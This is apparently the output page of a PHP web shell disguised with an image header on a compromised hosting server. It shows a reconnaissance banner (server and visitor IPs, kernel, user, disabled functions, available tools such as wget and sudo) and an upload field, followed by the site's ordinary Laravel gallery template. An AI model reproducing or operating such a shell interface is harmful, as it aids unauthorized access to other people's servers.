ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 18.118.154.48 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/nicnwebsiteUpgrade/resources/views/Gallery/ |
Upload File : |
@extends('layouts.layout') @section('pageTitle') Gallery @endsection @section('currentMedia') current-menu-item @stop <!-- /Header --> @section('content') @include('_partialView.PageTop', array('fileName' => '' )) <div class="container"> <section id="content"> <!-- Section --> <section class="full-width-bg"> <div class="row"> <div class="col-lg-9 col-md-9 col-sm-8"> <!--Alert--> <div class="col-md-12 animate-onscroll"><!--1st col--> @if (count($errors) > 0) <div class="alert alert-danger alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span> </button> <strong>Error!</strong> @foreach ($errors->all() as $error) <p>{{ $error }}</p> @endforeach </div> @endif @if(session('message')) <div class="alert alert-success alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span> </button> <strong>Success!</strong> {{ session('message') }} </div> @endif @if(session('error')) <div class="alert alert-warning alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span> </button> <strong>Not Success!</strong> {{ session('error') }} </div> @endif </div> <!--//--> <div class="animate-onscroll"> <div class="banner-wrapper"> <div class="banner"> <div class="row"> <div class="col-lg-12 col-md-12-col-sm-12"> <div class="body-ban"> <!----> <div class="tz-gallery"> <div class="row" style="margin: 10px;"> @foreach($groupPicture as $list) @php $getTotal = DB::table('tblgallery')->where('groupID', $list->groupID)->count(); $getCoverImg = DB::table('tblgallery')->where('groupID', $list->groupID)->inRandomOrder()->first(); @endphp <div class="col-sm-6 col-md-4" style="border: 1px solid #ddd; padding:5px; background: #ffffff; height:300px;"> <div align="center" class="div-cover" style="height:170px;"> <a href="@if($getTotal != 0){{url('gallery-details/'.$list->groupID)}} @else # @endif"> @if($getCoverImg == '' or $getTotal == 0) <img src="{{asset('images/coat.jpg')}}" class="img-size" alt="Gallery" style="max-height:200px;"> @else <img src="{{asset('images/gallery/'. $getCoverImg->image_link )}}" class="img-size" alt="{{$list->group_description}}" style="max-height:200px;"> @endif </a> </div><hr /> <div align="center"> <b>{{substr(($list->group_description),0 , 40)}}...</b> | <small>Total Pic: {{ $getTotal }} </small> </div> </div> @endforeach </div><!--/row--> </div> <!----> </div> </div> </div> </div> </div> </div> </div> <div class="col-lg-3 col-md-3 col-sm-4"> @include('_partialView.sidebar') </div> </div> </section> <!-- /SideBar Section --> </section> </div> @stop